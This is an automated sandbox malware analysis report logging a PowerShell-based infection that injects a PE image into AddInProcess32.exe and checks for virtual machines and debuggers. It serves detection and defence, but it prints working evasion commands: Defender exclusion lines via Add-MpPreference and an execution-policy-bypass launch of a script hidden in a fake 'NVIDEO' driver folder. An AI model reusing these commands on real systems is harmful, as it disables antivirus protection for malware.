Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 00000005.00000002.1787528120.000002803C402000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7084, type: MEMORYSTR

Delayed program exit found

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_0040F7E2 Sleep,ExitProcess,

23_2_0040F7E2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 29_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,

29_2_0040DD85

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,

23_2_0041A7D9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1708	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 827	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3373	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6470	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6975	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 757	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7457	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1439	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1555	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1846	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 959
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 5692
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: threadDelayed 3929
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Window / User API: foregroundWindowGot 1754
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 786
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 854
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1571

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	API coverage: 6.2 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	API coverage: 9.4 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3320	Thread sleep count: 3373 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3320	Thread sleep count: 6470 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4320	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7240	Thread sleep count: 6975 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7320	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7220	Thread sleep count: 757 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7292	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7260	Thread sleep count: 7457 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7252	Thread sleep count: 1439 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7324	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7308	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7396	Thread sleep count: 1555 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7456	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7464	Thread sleep count: 1846 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7504	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7488	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep count: 959 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep count: 300 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7916	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5852	Thread sleep count: 1179 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3156	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7204	Thread sleep count: 144 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7204	Thread sleep time: -72000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7208	Thread sleep count: 5692 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7208	Thread sleep time: -17076000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7208	Thread sleep count: 3929 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 7208	Thread sleep time: -11787000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7796	Thread sleep count: 786 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1228	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8072	Thread sleep count: 854 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7968	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5928	Thread sleep count: 1571 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6704	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1144	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 21_2_100010F1 lstrlenW,lstrlenW,lstrcatW,lstrlenW,lstrlenW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	21_2_100010F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	23_2_0040928E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	23_2_0041C322
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	23_2_0040C388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	23_2_004096A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	23_2_00408847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00407877 FindFirstFileW,FindNextFileW,	23_2_00407877
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	23_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	23_2_00419B86
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	23_2_0040BD72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 29_2_0040AE51 FindFirstFileW,FindNextFileW,	29_2_0040AE51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 30_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,	30_2_00407EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 31_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,	31_2_00407898

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 23_2_00407CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

23_2_00407CD2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 29_2_00418981 memset,GetSystemInfo,

29_2_00418981

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows

Source: powershell.exe, 00000003.00000002.1919143366.000002203C510000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1919143366.000002203D8B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: AddInProcess32.exe, 00000015.00000002.3074510288.0000000000F18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000003.00000002.1919143366.000002203D8B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: powershell.exe, 00000003.00000002.3052721240.0000022054657000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWI
Source: powershell.exe, 0000000D.00000002.2593975190.000001ABA1370000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

API call chain: ExitProcess graph end node

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Yara detected Powershell download and execute

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 21_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

21_2_100060E2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

29_2_0040DD85

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

23_2_0041CBE1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 21_2_10004AB4 mov eax, dword ptr fs:[00000030h]		21_2_10004AB4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00443355 mov eax, dword ptr fs:[00000030h]		23_2_00443355

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 21_2_1000724E GetProcessHeap,

21_2_1000724E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 21_2_100060E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_100060E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 21_2_10002639 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	21_2_10002639
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 21_2_10002B1C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	21_2_10002B1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0043503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_0043503C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00434A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_00434A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_0043BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_0043BB71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_00434BD8 SetUnhandledExceptionFilter,	23_2_00434BD8

HIPS / PFW / Operating System Protection Evasion

Source: Yara match	File source: amsi64_1928.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1800, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1928, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;	Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -ExecutionPolicy Bypass -file "C:\Users\user\AppData\Roaming\Program Rules NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\Update Drivers NVIDEO\\x11.ps1"

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe protection: execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe protection: execute and read and write
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe protection: execute and read and write

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: B77008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: A27008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 477000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 478000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 479000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 47E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: DCF008
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 401000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 459000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 471000
